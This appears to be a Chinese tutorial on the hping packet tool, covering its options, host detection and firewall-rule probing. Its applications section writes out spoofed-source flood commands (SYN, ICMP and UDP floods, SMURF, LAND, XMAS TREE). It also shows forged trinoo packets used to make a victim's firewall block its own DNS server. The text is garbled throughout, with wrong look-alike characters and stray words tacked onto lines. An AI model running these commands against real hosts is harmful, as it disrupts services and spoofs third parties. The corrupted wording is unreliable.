Hping使用方法详解

1、原理基础

Hping是一个命令行下使用的TCP/IP数据包组装/分析工具,其命令模式很像Unix下的ping命令,可是它不是只能发送ICMP回应请求,它还能够支持TCP、UDP、ICMP和RAW-IP协议,它有一个路由跟踪模式,可以在两个相互包含的通道之间传送文件。Hping常被用于检测网络和主机,其功能很是强大,可在多种操做系统下运行,如Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows。linux

HPING和ping的区别:典型ping程序使用的是ICMP回显请求来测试,而HPING可使用任何IP报文,包括ICMP、TCP、UDP、RAWSOCKET。缓存

Hping的主要功能有:安全

防火墙测试
实用的端口扫描
网络检测,能够用不一样的协议、服务类型(TOS)、IP分片
手工探测MTU(最大传输单元)路径
先进的路由跟踪,支持全部的协议
远程操做系统探测
远程的运行时间探测
TCP/IP堆栈审计
服务器

2、安装

  • Centos网络

yum install hping
  • Debian/Ubuntu并发

apt-get install hping

3、Hping的详细参数

-h —help 显示帮助信息
-v —version 显示Hping的版本信息
-c —count 指定数据包的次数
-i —interval 指定发包间隔为多少毫秒,如-i m10:表示发包间隔为10毫秒(附:秒、毫秒、微秒进率。1s=1000ms(毫秒)=1000000(微秒),1s=10^3ms(毫秒)=10^6μs(微秒))
—fast 与-i m100等同,即每秒钟发送10个数据包(hping的间隔u表示微妙,--fast表示快速模式,一秒10个包。)
-n —numeric 指定以数字形式输出,表示不进行名称解析。
-q —quiet 退出Hping
-I —interface 指定IP,如本机有两块网卡,可经过此参数指定发送数据包的IP地址。若是不指定则默认使用网关IP
-V —verbose 详细模式,通常显示不少包信息。
-D —debug 定义hping使用debug模式。
-z —bind 将ctrl+z 绑定到ttl,默认使用DST端口
-Z —unbind 解除ctrl+z的绑定app

指定所用的模式:
(缺省使用TCP进行PING处理)
-0 —rawip 裸IP方式,使用RAWSOCKET方式。
-1 —icmp ICMP 模式
-2 —udp UDP 模式
-8 —scan 扫描模式. (例: hping —scan 1-30,70-90 -S www.target.host)
-9 —listen 监听模式,会接受指定的信息。侦听指定的信息内容。ssh

IP选项:tcp

-a —spoof 源地址欺骗
—rand-dest 随机目的地址模式
—rand-source 随机源目的地址模式
-t —ttl ttl值,默认为64
-N —id 指定id,默认是随机的
-W —winid 使用win*的id 字节顺序,针对不一样的操做系统。
-r —rel 相对的id区域
-f —frag 将数据包分片后传输(能够经过薄弱的acl(访问控制列表))
-x —morefrag 设置更多的分片标记
-y —dontfrag 设置不加分片标记
-g —fragoff 设置分片偏移
-m —mtu 设置虚拟MTU, 当数据包>MTU时要使用—frag 进行分片
-o —tos 指定服务类型,默认是0x00,,可使用—tos help查看帮助
-G —rroute 包含RECORD_ROUTE选项而且显示路由缓存
—lsrr 释放源路记录
—***r 严格的源路由记录
-H —ipproto 设置协议范围,仅在RAW IP模式下使用ide

ICMP选项

-C —icmptype 指定icmp类型(默认类型为回显请求)
-K —icmpcode 指定icmp编码(默认为0)
—force-icmp 发送全部ICMP数据包类型(默认只发送能够支持的类型) —icmp-gw 针对ICMP数据包重定向设定网关地址(默认是0.0.0.0)
—icmp-ts 至关于—icmp —icmptype 13(ICMP时间戳)
—icmp-addr 至关于—icmp —icmptype 17(ICMP地址掩码)
—icmp-help 显示ICMP的其它帮助选项

UDP/TCP选项

-s —baseport 基本源端口(默认是随机的)
-p —destport 目的端口(默认为0),可同时指定多个端口
-k —keep 仍然保持源端口
-w —win 指定数据包大小,默认为64
-O —tcpoff 设置假的TCP数据偏移
-Q —seqnum 仅显示TCP序列号
-b —badcksum 尝试发送不正确IP校验和的数据包(许多系统在发送数据包时使用固定的IP校验和,所以你会获得不正确的UDP/TCP校验和.)
-M —setseq 设置TCP序列号
-L —setack 使用TCP的ACK(访问控制列表)
-F —fin 使用FIN标记set FIN flag
-S —syn 使用SNY标记
-R —rst 使用RST标记
-P —push 使用PUSH标记
-A —ack 使用 ACK 标记
-U —urg 使用URG标记
-X —xmas 使用 X 未用标记 (0x40)
-Y —ymas 使用 Y 未用标记 (0x80)
—tcpexitcode 最后使用 tcp->th_flags 做为退出代码
—tcp-timestamp 启动TCP时间戳选项来猜想运行时间

常规选项

-d —data 数据大小,默认为0
-E —file 从指定文件中读取数据
-e —sign 增长签名
-j —dump 以十六进行形式转存数据包
-J —print 转存可输出的字符
-B —safe 启用安全协议
-u —end 当经过- -file指定的文件结束时中止并显示,防止文件再从头开始
-T —traceroute 路由跟踪模式
—tr-stop 在路由跟踪模式下当收到第一个非ICMP数据包时退出
—tr-keep-ttl 保持源TTL,对监测一个hop有用
—tr-no-rtt     使用路由跟踪模式时不计算或显示RTT信息

ARS数据包描述(新增长的内容,暂时还不稳定)
—apd-send 发送用描述APD的数据包

4、具体应用:

  • 每秒送10个(-i u10000)ICMP(-1)封包到www.abc.net.tw 伪造来源IP(-a)为100.100.100.100

hping www.abc.net.tw -1 -i u100000 -a 100.100.100.100

注:-1为数字非英文L

  • 每秒送1个(-i u1000000)TCP(default)封包到www.abc.net.tw的port 44444,伪造来源IP(-a)100.100.100.100使用的port为22222

hping www.abc.net.tw –i u1000000 –a 100.100.100.100 –s 22222 –p 44444
  • SYN Flooding(每秒10个封包)

hping 目标主机IP –i u100000 –S –a 伪造来源IP
  • 伪造IP的ICMP封包(每秒10个封包)

hping 目标主机IP –i u100000 –1 –a 伪造来源IP

注:-1为数字非英文

  • 不正常TCP Flag组合封包(每秒10个封包)

(a)SYN+FIN

hping 目标主机IP –i u100000 –S –F –a 伪造来源IP

(b)X’mas

hping 目标主机IP –i u100000 –F –S –R –P –A –U –a 伪造来源IP
  • 伪造IP的UDP封包

hping 目标主机IP –i u100000 –2 –a 伪造来源IP
  • 伪造IP内含CodeRed封包

hping 目标主机IP –i u100000 –d [封包datasize] –E [filename] –a [伪造来源IP]
  • SMURF***

hping2 -1 -a 192.168.1.5 192.168.1.255
  • XMAS TREE***

hping2 -SFRP 192.168.1.5
  • LAND***

hping2 -k -S -s 25 -p 25 -a 192.168.1.5 192.168.1.5
  • 用tcpdump记录流量

#捕获25000个包,将原始报文转储到dumpfile中cron任务: 5 3 * * * /usr/sbin/tcpdump -c 25000 -w dumpfile -n#查看记录tcpdump -r dumpfile -X -vv
  • PING失效后的主机检测:

$ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
--- 192.168.2.1 ping statistics ---19 packets transmitted, 0 received, 100% packet loss, time 18009ms
------------------------------------------------$hping2 -c 4 -n -i 2 192.168.2.1HPING 192.168.2.1 (eth0 192.168.2.1): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.2.1 ttl=64 id=43489 sport=0 flags=RA seq=0 win=0 rtt=1.0 ms
len=46 ip=192.168.2.1 ttl=64 id=43490 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms
len=46 ip=192.168.2.1 ttl=64 id=43491 sport=0 flags=RA seq=2 win=0 rtt=0.7 ms
len=46 ip=192.168.2.1 ttl=64 id=43498 sport=0 flags=RA seq=3 win=0 rtt=0.6 ms
--- 192.168.2.1 hping statistic ---4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.8/1.0 ms

-c 发送4个报文-n不进行名称解析 -i包发送时间间隔。

好处:即便主机阻塞了ICMP报文,也能够显示主机是否在运行的信息,在关掉ICMP的探测有效!
显示信息解释:len,返回ip报文大小;ttl; id,IP的ID域;sport,源端口,flags,返回的IP报设置的TCP标志 (R:RESET,A:ACK;S:SYN;F:FIN;P:PUSH;U:URGENT);seq:序列号;win:tcp窗口大小;rtt:往返 时,EIGRP彷佛有这个设置。

  • 更复杂的实际的例子

step 1:目标主机安装了blackice,它的ip address是ip.add.of.victim
step 2:发起***的一台linux 机器,上面安装了hping

执行以下命令#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add.of.dnsserverHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.comHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.comHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

上面的三个命令干了同一件事情,以伪造的ip发送假的trinoo***数据包.

结果:在目标主机上全部伪造的ip地址网络链接被block了,也就是对目标主机ip.add.of.victim而言,它的dns服务器,google和sina都没法访问了。
我很怀疑目前的我的防火墙只要存在auto-block功能,就存在这一问题。

  • 防火墙规则测试

hping有相似NMAP的方法来检测并收集关于潜在的防火墙的规则和能力的信息。
若是一个主机对ping没有任何相应,而对hping有响应,假定目标的主机为192.168.2.234.
一旦主机对hping做出了响应,那么下一步咱们先用nmap先进行一个端口扫描,固然这个hping2也能够做.

nmap -sT -P0 -p 21-25 192.168.2.234Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-14 15:56 CST
Interesting ports on 192.168.2.234:
PORT STATE SERVICE21/tcp filtered ftp22/tcp open ssh23/tcp filtered telnet24/tcp filtered priv-mail25/tcp filtered smtp
Nmap done: 1 IP address (1 host up) scanned in 1.379 seconds

以上信息显示除了ssh端口外,其余端口被阻塞.而后能够试试用hping向各个被阻塞的端口发送空的报文.用-p的开关,能够对指定的目的端口进行hping.

hping2 -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): NO FLAGS are set, 40 headers + 0 data bytes24: len=46 ip=192.168.2.234 ttl=128 id=2461 sport=24 flags=RA seq=7 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=2462 sport=24 flags=RA seq=8 win=0 rtt=0.7 ms25: len=46 ip=192.168.2.234 ttl=128 id=2463 sport=25 flags=RA seq=9 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=2464 sport=24 flags=RA seq=10 win=0 rtt=0.7 ms

前三个端口没有响应,端口24 25 得到了RST/ACK响应.这说明,虽然这些端口被禁止PING,但没有工具在该端口上监听.然而为何NMAP没有获得响应,由于NMAP虽然使用 TCP链接,但它在TCP报头中设置了TCP SYN标记位,而HPING 使用了空标记的报文,这就告诉咱们说,在主机192.168.2.234上只阻塞进入的TCP链接.接下来使用hping建立一个SYN报文而后将其发送 到5个端口再测试.

hping2 -S -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): S set, 40 headers + 0 data bytes22: len=46 ip=192.168.2.234 ttl=128 id=10722 sport=22 flags=SA seq=1 win=0 rtt=1.2 ms
len=46 ip=192.168.2.234 ttl=128 id=10747 sport=22 flags=SA seq=2 win=0 rtt=0.7 ms

此次只有22端口响应,说明SSH端口是开放的,但有工具在上面监听,该端口没有进行过滤.
而后咱们再建立一个ACK报文并发送:

hping2 -A -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): A set, 40 headers + 0 data bytes22: len=46 ip=192.168.2.234 ttl=128 id=12707 sport=22 flags=R seq=2 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=12708 sport=22 flags=R seq=3 win=0 rtt=0.7 ms23: len=46 ip=192.168.2.234 ttl=128 id=12709 sport=23 flags=R seq=4 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=12710 sport=22 flags=R seq=5 win=0 rtt=0.7 ms24: len=46 ip=192.168.2.234 ttl=128 id=12711 sport=24 flags=R seq=6 win=0 rtt=0.7 ms
len=46 ip=192.168.2.234 ttl=128 id=12712 sport=22 flags=R seq=7 win=0 rtt=0.7 ms25: len=46 ip=192.168.2.234 ttl=128 id=12712 sport=25 flags=R seq=8 win=0 rtt=0.8 ms
len=46 ip=192.168.2.234 ttl=128 id=12713 sport=22 flags=R seq=9 win=0 rtt=0.7 ms

结果除了21端口外全部端口都响应了RST,说明了:1.端口22是开放的,但有工具在上面监听.2.24 25 上面没有工具监听,对NULL报文回显.3.端口23针对ACK报文以RST进行了响应,但没有响应NULL报文.说明该端口被过滤,可是telnet服务运行在192.168.2.234上.4.阻塞了进入的SYN报文但容许其余TCP报文经过,说明它采用的不是基于状态的报文防火墙.

相关文章
相关标签/搜索